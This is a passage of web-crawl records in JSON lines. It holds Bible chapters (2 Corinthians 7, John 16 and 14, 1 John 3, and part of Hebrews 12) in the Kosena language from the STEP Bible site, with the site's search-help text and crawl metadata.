abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mat.26","date":"2018-04-22T20:17:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945648.77\/warc\/CC-MAIN-20180422193501-20180422213501-00023.warc.gz","language":"kze","language_score":1.0000041723,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 1.0000041723251343}","num_words":1194,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.153,"stopwords_ratio":0.161,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 71 kesí kwaási ísáaro. Áánútu kentááyávéna imáyáa éna mináímbá simái tarúmakaintaveta kesúrake-sawi-yantaare kentáásí imáyáavinke-sawi-yantaare sínaaemba umámeta kaweꞋá umáíya méta Áánútu aúrankaꞋa sááꞋa kwégaisata Áánútundei-iꞋa umái méta kaweré suꞋmaiya éta miráyá onó.\nPóro arunkó aamoí uráin-kwasai.2 kentááyávéꞋa íma kayoréꞋa kentáásí imáyáa úwoi oró. íma sáwíꞋa umátinkaawanasaya sáwí-amba kwakáawe. íma kampaꞋá simátiyuweta miwítí óísanta íma mémairaumne. 3 mináímbó simátimunda íma aaivimbá kwémaitinkeꞋa súne. kentí imáyáa kwéundaya simátimeta ókwaraꞋa miráyá kwéune séta úwoimo máyaundaya kentí imáyáa kwéeta puwónaunda-kanaa tínímba úwoi kentí imáyáa kwéonanaya tíníye. 4 áraiꞋa kaweꞋá umái máyáawe asiramái séꞋa kentúwíꞋa mósá kwémaraumne. anón-umbai-yantaaꞋa kentáásópaꞋa kwétimba mindáyaveꞋa íma imáyáa éꞋa kentí imáyáa únana kentááigo asiramásínkáísana sirunkó ávááraumai aamoí kwéiye.\n5 Táróasi-naopaꞋa tuwéta Másétóniyaa-maravaꞋa tamáyaawanda íma kawe-kánáá úwata máyaawanasaya amápaꞋ-naopimpaꞋa kaeꞋnáéꞋa ésa aaisambá kwésuwana kentáásí mayáíyávéna kentáásirunko umbaí kwétowana 6 Áánútu tirunkó umbaí kwétain-kwaasi tiráváyáiwai kwemá sirávayanintavena Táításimba aiꞋmarówana keinárawaꞋa tiyuwéna kentáásópaꞋa téna 7 maaváꞋó túntaveta aamoí éta keinárawatemo máyon-kawer-aimba simásimuntavetaagwaraꞋa aamoí ówánanaya keinárawaꞋa kentáá suwánanae siráamba tasimásimenaya sáwíꞋo uráantavenamo kentirunkó umbaimó taráimba tasimásimenaya kentávésamo kampar-áímbó sen-kwáásí táái anondá simátímakaamba tasimásimenaya mirán-áíntómbá tasimásimuwata isááwánanaya kentáásirunko aamoí uráiye.\n8 aúvái agaimái timéꞋa asiramái séꞋa óꞋa íma mirán-oro siráunda minaúváí awánowana sáwíyankaꞋa kentirunkó umbaí tówaꞋa mináímbá iséꞋa mináúváí agairáundayavena sirumbá umátinkeꞋa ívéꞋa sirunkó íma umbaí téna 9 kaweꞋá kwéiye. kentirunkó umbaí tóntaveꞋa íma aamoí éꞋa kentirunkó umbaí tówaꞋa sáwíꞋo uráambo tínaaembo umámakaantaveꞋa aamoí kwéune. sáwíꞋo kwéontavena tirunkó umbaí taíno Áánútu kwésiye. mindáyaveꞋa mináúváí agaimái tímakaunda íma sáwíꞋa umátínkaraumne. 10 Áánútu tirumbá umbaí tamátinkaiwai sáwíꞋo kwéomba tínaaemba umámewana sáwíꞋo umáímo máyáampinkemba Áánútu tiréna kawepáꞋá mógwétinkaisana mindáyavena tirunkó íma sáwíꞋa kwéivo marapá-kwáásí Áánútuntavesa íma imáyáa kwéowai tirunkó umbaí tainkáꞋá sáwíꞋo kwéomba íma tínaaemba umámesa úwoi sáwíꞋa ésa Áánútuna némpaꞋa maíꞋmaiꞋa ónááowe. 11 sáwíꞋo uráantavena Áánútu kentirumbá umbaí tamátínkaraimba póꞋa kaweꞋá uráamba imáyáa oró. keinárawapinkemba moóráwai sáwíꞋa uráimba íma asiramái simámakeꞋa tímakaunda-auvai-aimba iséꞋa séꞋa arupí umátinketa kawer-ámbá kwáráano séꞋa sáwíꞋo uráantaveꞋa tigaeyávéꞋa éꞋa sáwí-meyambo kentópaꞋo tíníntaveꞋa táátaveꞋa éꞋa séꞋa arupí umátínkáanana Póromo ménamo éna súwaꞋnaa íníye séꞋa sáwíꞋo uráiwaimba ááéma sáwí-meyamba améꞋa keinárawapinke-sawi-imayaa arupí umátinkeꞋa mirá uráamba ánásaraiye-aimba ísaraumne.\n12 mináúváí agaimái tímakaunda sáwíꞋo uráin-kwaasigontaveꞋa íma aivaꞋá imáyáa éꞋa sáwíꞋo umánkarain-ininkontaveꞋa íma aivaꞋá imáyáa éꞋa íma mirá uráumpo Áánútu aúrankaꞋa kentááyávéꞋa anón-imayaa éꞋa kentááyávéꞋa séꞋa miwíyávéta anón-imayaaya kwéune sénááontaveꞋa mináúváí agaimái tímakaumne. 13 mináúváímó tímakaundanteniꞋo uráamba kentáásí imáyáa kaweꞋá umásínkaraawe.\nTáításimba aiꞋmarááwánanaya kentópaꞋa koména kwenarunkó umbaí kwétowana túwaꞋnaa úwaꞋa kaweꞋá uwaná aamoí éna kwenarunkó kaweꞋá úwana kentáásópaꞋa téna tasimásimuwata iséta mindáyavetaagwaraꞋa aamoiyá kwéune. 14 ááéma Táítási aúrankaꞋa kentúma maé iráunana simátímakaunda-aimbo árair-aimbo siráundantemba Táításimbo kentááimo simámakaunda-aimba árair-aimban-iye. Táítási keinárawate koména kemó kentááimo simámakaunda-aintavena árair-aimba siráiye siráimba mindáyaveꞋa íma sigaeyávéꞋa kwéune. 15 Táítási keinárawate komáyowaꞋa kwentávéꞋa aamoí éꞋa táátaveꞋa éꞋa tiyántámbá kwétowaꞋa kwenáái iséꞋa mirá uwaná mindáyavena Táítási imáyáa éna arumbá kwétimiye. 16 keinárawataveꞋa séꞋa amápaꞋ-mayaimo ésa kaweꞋá úmae iyónááowe kwésunana sirunkó kaweꞋá kwéiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.7","date":"2018-04-19T23:30:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937074.8\/warc\/CC-MAIN-20180419223925-20180420003925-00546.warc.gz","language":"kze","language_score":0.9999712706,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999712705612183}","num_words":604,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.15,"stopwords_ratio":0.103,"flagged_words_ratio":0.0,"lang_id_score":0.996,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 161 naaémba kesááiyaveꞋa íma asiramái méꞋa siyúwáavo séꞋa mináímbá kwésimatimunda imáyáa oró. 2 naaémba marapá-kwáásímó keinárawatavesamo monoꞋ-náúmpákémbá kwatuwánáemo sénááomba mindáyavesa sésa Ísuna kwayó-kwáásí tínkamiyawai Áánútuna mayáímá kwémayaawe kampaꞋá sénááowe. 3 kenté kesivonté íma suwánaamba pósa miráumai sáwíꞋa umátinkanaaowe. 4 ívéꞋa mináímbá kwésimatimunda póna mindá paárínaꞋa táákaꞋa maréꞋa séꞋa simásimakaimba kwévaariye sénááowe. mindáyaveꞋa kwésimatimune Ísu siráiye.\nÁánútun-amanko mayáímá kwémayain-kwasai.Ísu simásuwena séna keinárawate máyaunda póꞋa mináímbá íma simátímakeꞋa 5 siꞋmákaiwainopaꞋa íyóndatavaiye séꞋa ívéꞋa simátímakaanaꞋa náávara iyónó séꞋa íma sísaa owaꞋá 6 iyónaumne súnda-aimbo ísááwana tirunkó umbaí taisaꞋá póꞋa náávara iyónó séꞋa íma sísaa owe. 7 áraiꞋa simátimeꞋa séꞋa ímo iyúndarakai kentí karááꞋá tutinkáníwaima íma kúmísino. iyéꞋa kwembá aiꞋmáráanana keinárawate kumbéna kaweꞋá umátinkaniye. 8 kumbéna marapáꞋá máyáan-kwaasi kentí sáwí-imayaagona ááimba agaráátinkaniye. arupímo umáímo maígona ááimba agaráátinkaniye. Áánútumo aaivimbó maitinkáníwaina ááimba agaráátinkaniye. 9 kesááiyavaimo ímo áraire síyawaiyavena simátimena séna kentí sáwí-imayaa úwoi kwáyáiye síníye. 10 kesivonópaꞋa iyúnda íma suwánanaaomba póna kentí karááꞋá tutinkáníwaima arupí umái ménaaomba kunagaráátinkaniye. 11 maambáráráꞋá sáwí-kawaanaꞋa áꞋa aaivimbá mayánkaraimba póna Áánútu aaivimbá maitinkáníyema simátiminimbaniye. 12 sáwívar-aimba simátimusina umbai-áímbá póꞋa ívéꞋa íma kanaán-umai isánááomba póꞋa naaémba isánááowe. 13 Áánútun-amankoma kumbéna amápa-tantaatavena árair-aama vaꞋmái simátiminiye. íma kwená imáyáavinkemba simátiminivo simámakain-aimba simátimena aánomo paárinin-tantaaꞋa simátiminiye. 14 súnda-aimba simátiminana kesúwíꞋa anómba íníye. 15 amápar-aintomba kesivondéímá mindá kendéímán-iye. miráumai séꞋa simámakaunda-aimba Áánútun-amankoma simátiminiye Ísu siráiye.\ntirumbá umbaí tamái naaémba kaweꞋá uráin-kwasai.16 Ísu simásuwena séna sáwíyankaꞋa íma suwánéꞋa aáno suwánanaaowe súwasa 17 kwená kwayó-kwáásívínkémbá évakarawai sésa kesivonópaꞋa iyúnda póꞋa sáwíyankaꞋa íma suwánéꞋa aáno suwánanaaowemo simbá nóintavaiya kwésiyo. 18 sáwíyankaremo simbá mináínkóná ááimba íya kwéisaumne. nóintavaiye séna kwésiyo suwaná 19 Ísu miwí tuwánarena áísaa ónáe kwéuwana simátimena séna sáwíyankaꞋa íma suwánéꞋa aáno suwánanaaowemo súnda-aintaveꞋa keinárawaꞋa ávááraumai kemó súnda-aintaveꞋa ísámae kwénaaowe. 20 áraiꞋa simátimeꞋa séꞋa keinárawaꞋa iviꞋá táíyasa marapá-kwáásí aamoí ónááombanivo kentirumbá umbaí tamái méꞋa naaémba kentirumbá etóyóí ónááowe. 21 moórá-ininkomo iyámpóímo maránkarainda-kanaama tínanamo éna áíꞋo kwéuwanamo maránkaraintavaiye séna ísámai umbaí táínana naaémba miníyámpóí awánéna aamoí umánkaniye. 22 mirá ontembá kentirumbá ísámai umbaí téꞋa naaémba suwánéꞋa aamoí ónááowe. aamoimó ií-yántááꞋá íma maitiyuwánááowe. 23 minkánáá tínaꞋa íma sísaa ónááovo kesivombá áísaa íyamba kentávéꞋa ísámai áísaa íyantavena póna mirá umátinkaniye. 24 kesivombá íma áísaa uráavo ívéꞋa kentávéꞋa ísámai áísaa íyamba mirá umátinkainana kentirunkó anómba aamoí ínaꞋa máéro Ísu siráiye.\nmarapá-tántááꞋá Ísu usáyaaitaraiye siráin-kwasai.25 Ísu simásuwena séna kwántámai-aimba simátimunda póꞋa naaén-kanaama tínaꞋa kesivon-áái paárumai simátimenaumne. 26 minkánáámó tínaꞋa kesí imáyáa ontáváí kesivombá áísaa íyaꞋa kemá íma áísaa onaná 27 kwemá úwoi tiména kwenarumbá tímakaintavena póna úwoi timíníye. kentávéꞋa séꞋa Áánútunopakemba kunkáiye séꞋa tirumbá símakaantavena kesivomá arumbá tímakaiye. 28 kesivonópakemba marapáꞋá kumbáyaunda póꞋa ívéꞋa marapáꞋá tuwéꞋa kesivonópaꞋa iyónaumne Ísu súwasa 29 kwená kwayó-kwáásí sésa ívéꞋa íma kwántámai-aimpinkemba sémpo avoratá kwésimasimene. 30 kesáámá séta áísaa ónáisaye íma súnayaama emá ísaraandanaꞋa po paárumai kwésene. miráyá séta Áánútunopakemba kunkáane kwésune suwaná 31 Ísu séna kentávéꞋa Áánútunopakemba kunkáiye sembánivo 32 sáwíyankaꞋa siyuwéꞋa kentí naaóꞋ-naoꞋa kóyáwé owaꞋá keyáá maúsina kesivomá kesé máyáiye. 33 mináímbá simátimunda póꞋa kesé tarúmai méꞋa aánoumai kwempaꞋá máéro. marapá-kwáásí akáꞋáámba simátinkesa sáwíꞋa umátinkanaaombanivo marapá-tántáákwárá kwaásigwaraꞋa usáyaaitaraunda póꞋa kentirumbá aamoí umái ménaaowe Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.16","date":"2018-04-25T16:26:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947931.59\/warc\/CC-MAIN-20180425154752-20180425174752-00181.warc.gz","language":"kze","language_score":0.9999833107,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999833106994629}","num_words":623,"character_repetition_ratio":0.051,"word_repetition_ratio":0.0,"special_characters_ratio":0.16,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"John 14\nÁánútunopaꞋa iyónááon-amba kemá úne Ísu siráin-kwasai.1 Ísu simásuwena simátimena séna kentirumbá íma sáwíꞋa éꞋa íma anón-imayaa oró. Áánútuwe aráápamai méꞋa kesé aráápamai máéro. kentí imáyáa ÁánútumpaꞋa tuwéꞋa Áánútuna imáyáa éꞋa ánivo kesí imáyáa oró. 2 kesivoná naaópaꞋa sáwívaꞋ-maruꞋa kwéraiye. ímo mirámó uráinkakai íma simátimusino. 3 kemó iyúnda kentí maruꞋá utoꞋmayaa umátinkanaeꞋa iyúne. usauwéꞋmaeꞋo kuntíꞋmaeꞋo íyónda kemó máyaundaraꞋa uménaaowe. mirá onaꞋá kesé ménaaowe. 4 kemó iyúnda-amba áꞋa awánaawe súwana 5 Tómáasi simámena séna anóndakoo emó iyónda-naopaꞋa íma awánáúmne. nááraumai minámbá awánanaumno súwana 6 Ísu séna ÁánútunopaꞋo iyónááon-amba kemá úne. kemá áraikona ááimba úne. kemá maíꞋmaiꞋa ónááowaina ááimba úne. kesivoná naaópaꞋa íma úwoi iyónááomba póꞋa kemá minámbá únda póꞋa iyónááowe. 7 kesí ááimbo kwésuwanekai kesivombá awánaasino. ívéꞋa kwéawanaawe súwana 8 Vírípi séna anóndakoo enavombá agaráásínkénanaya kentáá kanaa íno súwana 9 Ísu séna ayáátáákaꞋa keséma máyaundanivo emá kesí ááimba íma kwésuwanaane. kesí ááimba suwánaawaima kesivombá áꞋa kwéawanaavo nóra isa enavombá agaráásinkaao seénó. 10 kemá kesivoé tarúmai máyaunana kesivomá kesé tarúmai máyáiye. mináíntávéꞋa áraire seró. íma kesí imáyáavinkemba súmpo kesivomá kesé ména kwená mayáímá isaꞋá súne. 11 kemá kesivoé tarúmai máyaunana kesivomá kesé tarúmai máyáimba póꞋa mináíntávéꞋa áraire seró. ímo mirámó séꞋo éꞋa kesí mayáímá awánéꞋa séꞋa áraiꞋa kwíyómpakemba Áánútunopakemba kunkáiye seró. 12 áraiꞋa simátimeꞋa séꞋa kentávéꞋa áraiꞋa Áánútunopakemba kunkáiye síyawaima kemó úndantem-bayai miwígwáráꞋá mayánááowe. kesivonópaꞋa iyéꞋa Áánútun-amamba aiꞋmáráándayavena miwítí mayáígó kesí mayáígómbá usáyaaitaniye. 13 kesí imáyáamo éꞋo sísaa íyaꞋo éꞋa mirá ónaumpo kentávéꞋa ísámai kesivo áwíꞋa mósá maránááowe. 14 kesí imáyáamo éꞋo sísaa íyaꞋo éꞋa kemá mirá ónaumne Ísu siráiye.\nÁánútun-amamba aiꞋmáráanana kumíníye siráin-kwasai.15 Ísu mináímbá simásuwena séna kentirumbó símakaambo éꞋa kesáái ísámai kaweꞋá ónááowe. 16 kesivombá áísaa onaná karááꞋá tutinkáníwaimba aiꞋmaráínana kumbéna kesé aasiyaasí maíꞋmaiꞋa íníye. kwemá áraikona ááimban-iye. 17 marapá-kwáásí kwembá íma awánésa kwenáái íma ísáamba pósa íma kanaán-umai sésa kesé tamaiyó sevó kesé ména kentirumpimbá maíꞋmaiꞋa imbá póꞋa kwembá kwéawanaawe. 18 sáwíyankaꞋa tiyuwáúndanivo íma megusaamó ontembá ónááovo usauweránáumne. 19 sáwíyankaꞋa marapá-kwáásí kembá íma suwánanaaombanivo keinárawaꞋa ókwaraꞋa suwánanaaowe. kesé ménaunda póꞋa kemá aúnáiꞋa umái ménaaowe. 20 minkánáámá tínímba póꞋa séꞋa áraiꞋa avowáe ména kesé máyáísata kwesé máyaumne mirá sénááowe. 21 kesááimo taagwiyavésamo kaweꞋó kwéowai tirumbá kwésimewe. tirumbá simíyawaima kesivoé kesé sirunkáí timéyauye. kesirumbó timúndawaiyavaiye simái avoraꞋá paárumai ménaumne súwana 22 Yútási Isakéríóti aráámáómá áwíꞋa Yútási séna Ísóigoo nóintavaiye séwa úwoi-kwaasiyavaiye simái íma avoraꞋá paárumai ménaumne seénó. kentááyáváíyé simái avoraꞋá paárumai ménaumne seénó súwana 23 Ísu séna tirumbá símakaawaima kesáái ísámai kaweꞋá íyana kesivomá arumbá miwí timínakai kesé kesivoé miwísé kumbéyauye. 24 kesáái ísámai íma kaweꞋá kwéowai tirumbá íma símakaawe. súnda-aimba íma kesí imáyáavinken-aimban-ivo kesivo siꞋmákaiwaina imáyáavinken-aimban-iye.\n25 kesé máyaundaraꞋa mináímbá kwésimatimune. 26 ánivo kesivomá kwenamambá kentí karáákómbá aiꞋmaráínana kumbéna kesí anondá éna amápa-tantaaꞋa agaráátinkena súnda-aimba timínaꞋa táákaꞋa maránááowe. 27 tiyuwéꞋa paru kwéumatinkeꞋa kentirumbó kwempaꞋó maráí-yántááꞋá kwétimune. marapá-kwáásí íma kwétimewaꞋanivo kesirumbó kwempaꞋó maráúndantemba miráumai kwétimune. mindáyavena kentirumbá íma sáwíꞋa éna íma tááꞋa kaíno. 28 tiyúwáandanivo kentópaꞋa usauweránaumnemo súnda áꞋa kwéisaawe. kentirumbó símakaambo éꞋa kesivonópaꞋa íyóndayaveꞋa aamoí ónááowe. kesivomá kembá usáyaaitaraintavaiye simái aamoí ónááowe. 29 íma paáruraisaꞋa simátimunda póna paárínaꞋa kentávéꞋa séꞋa áraiꞋa siráiye sénááowe. 30 Sáátáánigo maambáráráꞋá sáwí-kawaanaꞋa kwétimba póꞋa íma ayáátáákaꞋa aaimá simátimundanivo kwená asirayánkó íma kembá tátoraniye. 31 kesivomá simásímakaimba mirá únda suwánésa sésa avowámbá arumbá ámakaiye sénááowe. usásinaiyata konó Ísu siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Joh.14","date":"2018-04-19T13:41:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00179.warc.gz","language":"kze","language_score":0.9999806881,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999806880950928}","num_words":657,"character_repetition_ratio":0.043,"word_repetition_ratio":0.0,"special_characters_ratio":0.166,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 John 3\nÁánútuna iyámpóíti kwaasái.1 Áánútu arumbá ávááraumai kwésimiye. mindáyaveꞋa imáyáa oró. Áánútu arumbá kwésimenayaampona kentááyávéna kesí iyámpóíman-owe kwésiye. kesáá áraiꞋa kwená iyámpóíya úne. ÁánútumpaꞋa íma tiráawai Áánútuna ááimba íma awánésa kentáásí ááinkwaraꞋa íma kwésuwanaawe. 2 kesí kwaásiyono. ívéꞋa Áánútuna iyámpóiꞋa umáíya máyaundaya naaémba nóra kwaásiyaawa ménaumno. mináímbá íma ísaraundanivo moórá-aimbo ísaraunda simátimenaumne. Ísu Káráísiti kumíndaraꞋa kaweꞋá umái awánanaundaya póta kwenkááníta umáíya ménaumne. mirán-áímbá ísaraumne. 3 mináímbá isésa amuꞋmáráawai Káráísiti arupí umáímo máíntemba arupí umái máyáavo kárákwiyoro.\n4 sáwí-imayaamo kwéomba isaná ámáámbo arááísémba isaná minkáé-tántáákó mimbóráíꞋa kwéiye. miráumai sáwí-imayaamo kwéowai Áánútuna ámáámba tínaaemba umámesa kwéaraaisemba póna mirámó kwéon-anonda miwívímbá kwéniye. 5 Ísu Káráísiti kwaásiti sáwí-imayaa maitiyuwáníntavena marapáꞋá kunkáimba kwempímbá sáwí-imayaa íma kwáyáiye-aimba áꞋa ísaraawe. 6 miráumai Ísu Káráísitiye tarúmai máyáawai miwívímbá íma sáwí-imayaa kwaíkwaiꞋa kwéivo sáwí-imayaa kwaíkwaiꞋa kwéiwai KáráísitimpaꞋa íma tésa kwenáái íma kwéisaawe.\n7 kesí iyámpóíyono. kampar-áímbá simásiyuwaavo séꞋa kárákwiyoro. Káráísiti arupí umái máyáiwai kwemó intembó mirámó úmae kwéiyowai arupí-kwaasiman-owe. 8 ááinkaꞋa Sáátáánigo sáwíꞋa uréna mirá úmae kwéiyena ívékwaraꞋa mirá kwéiye. sáwíꞋo úmae kwéiyowai Sáátáánigona kwaásiman-owe. Sáátáánigona mayáí ánásasuwainkwae séna Áánútu ááninkomba aiꞋmarówana marapáꞋá kunkáiye.\n9 Áánútuna iyámpói pósa Áánútuna asirayánkó miwívímbá kwáyáintavesa pósa íma sáwíꞋa úmae kwéiyowe. Áánútuna asirayán-áráátómbá pósa íma sáwíꞋa úmae kwéiyowe. 10 ímo arupí umáímo máyáawai íma Áánútuna iyámpóíman-owe. kentí kwaásimo tirumbó ímo kwétimewai íma Áánútuna iyámpóíman-owe. miráumaiya Áánútuna kwaásiye Sáátáánigona kwaásiye taaímbaiya ísaraumne.\nmoórá-morawaivimba tirumbá kwétimen-kwasai.11 moórá-mora-kwaasivimba tirumbá tíméro-aimba ááéma ísaraawe. 12 Áándamu ááninko áwíꞋa Kááinimo uráintemba íma mirán-oro. Kááini Sáátáánigon-árááꞋa póna ávákomba tuvuwúwana pukáimba maarántávéna tuvuwúwana pukáiye. áváko kaweꞋá umái máyowana Kááini sáwíꞋa umái ména póna ávákomba tuvuwúwana pukáiye.\n13 miráráán-umai ÁánútumpaꞋa íma tiráawai keinárawapaꞋa tirumbá sáwíꞋa umátinkaiyantavena íma tááꞋa kaíno. 14 Áánútun-akumba sirumbá kwétimundayaveta séta Áánútuna némpaꞋa maénaundawaina ááimpaꞋa tuwéta kaweꞋá umái maénaundawaina ááimpaꞋa tamáyaumne kwésune. kentí kwaási tirumbá íma kwétimewai Áánútuna némpaꞋa paaí máyáawe. 15 kentí kwaásiyavai tíyámba umátínkáan-kwaasi tínkamiyasa puwónááon-kwaasiraamban-owe. mirámó kwéowai aúnáiꞋo umáímo maíꞋmaiꞋo kwéowaina ááimpaꞋa íma máyáawe. 16 Ísu Káráísiti arumbá siménaya íma úwoi máímba súwaꞋnaa íníntavena kentááyávéna ísámai pukáiye. mirá uráintaveta arumbá símakaiye kwésune. Áánútun-akumba túwaꞋnaa eta puwúnavo íma sendayá úwoi túwaꞋnaa ónaumne. 17 óísankwara-kwaasi kentí kwaási toómbá íma makáawaima tuwánésa íma túwaꞋnaa ombá sésa Áánútumba sirumbá kwéamune sembá kampaꞋá kwésewe. 18 kesí iyámpóíyono. sirumbá kwétimunemo sembá íma tóikakemba séꞋa áraiꞋa tirunkakémbá kwéseꞋa túwaꞋnaa oro.\nÁánútumpaꞋa asiramáíya máyaunda-kwasai.19 sirumbá kwétimetaamo kwétuwaꞋnaa-undaya mirámó únda-kwaasiya arupí umáíya kwémaumne. mirámó kwéunda Áánútu aúrankata asiramáíya kwémaundayaawe. 20 ánivo kesáá sáwíꞋa úndayavenaya kentáásirunko umbaí kwétaivo Áánútu amápa-tantaaꞋa awánéna minúmbáí-yántáákómbá usáyaaitaisata Áánútu aúrankata asiramáíya máyaumne. 21 kesí kwaásiyono. mindáyaveta imáyáa úndaya kentáásirunko íma umbaí taisatá Áánútu aúrankata asiramáíya máyaumne. 22 kwenáái taagwiyavétaawe kwemó aamoimó iníꞋa kwéundayavetaawe áísaa únda-yantaaꞋa úwoiya kwésimiye. 23 Áánútu asiramái séna kesááninko Ísu Káráísitin-aaiyaveꞋa áraire séꞋa kwenkáꞋá agevamái méꞋa amápa-kwaasivimba tirumbá kwétimeꞋa máéro siráimba mináímbá Ísu Káráísiti asiramáíya simásímakaiye. 24 Áánútun-aai taagwiyávówai Áánútuwe tarúmai máyáawana miwísé tarúmai máyáiye. Áánútu kwenamambá aiꞋmarówana sirumpintá kumbéna simásimenaya séna Áánútu keinárawate tarúmai máyáiye kwésisata kwéisaumne.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=1Jo.3","date":"2018-04-22T16:29:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945624.76\/warc\/CC-MAIN-20180422154522-20180422174522-00278.warc.gz","language":"kze","language_score":0.9999967813,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999967813491821}","num_words":612,"character_repetition_ratio":0.058,"word_repetition_ratio":0.0,"special_characters_ratio":0.159,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Hebrews 12\nÁánútu kentáásivowai-iꞋa kwéin-kwasai.1 miwí miráumai máyómbanivo kesáá maaráyá ónaumne. miwí Áánútun-aaiyavesa áraire siráawai torupamáímo máyómpimbo kesáá avumpinkáántá máyaunasaraanta Áánútun-aaiyavesa áraire sésa kwenkáꞋá agevamái máyón-amba kwéagaraasinkaawata mindáyaveta umbai-yántááꞋá ivátuweta kentáámó sáwí-imayaaomo tátokaimba ivátuweta kwaásimo isaaisésaraambo kwégwesaraambo mimbórá-ímáyáámó kwégwaraantemba Áánútumo agaráásínkarain-ampata íma sívón-káínata asiramáíya kónaumne. 2 kwaásimo isaaisésaraambo kwégwesaraambo ayááíváꞋó kwáyáim-beyantavesamo imáyáamo ontembá Ísuntavetaawe suꞋmai imáyáaya onó. Ísu imáyáaya símakaisata Áánútun-aaiyaveta áraireya kwésunanaya imáyáaya kwésimimba póta Áánútuweya aráápamai maíꞋmaita úmaeta iyónaundayaawe. Ísu 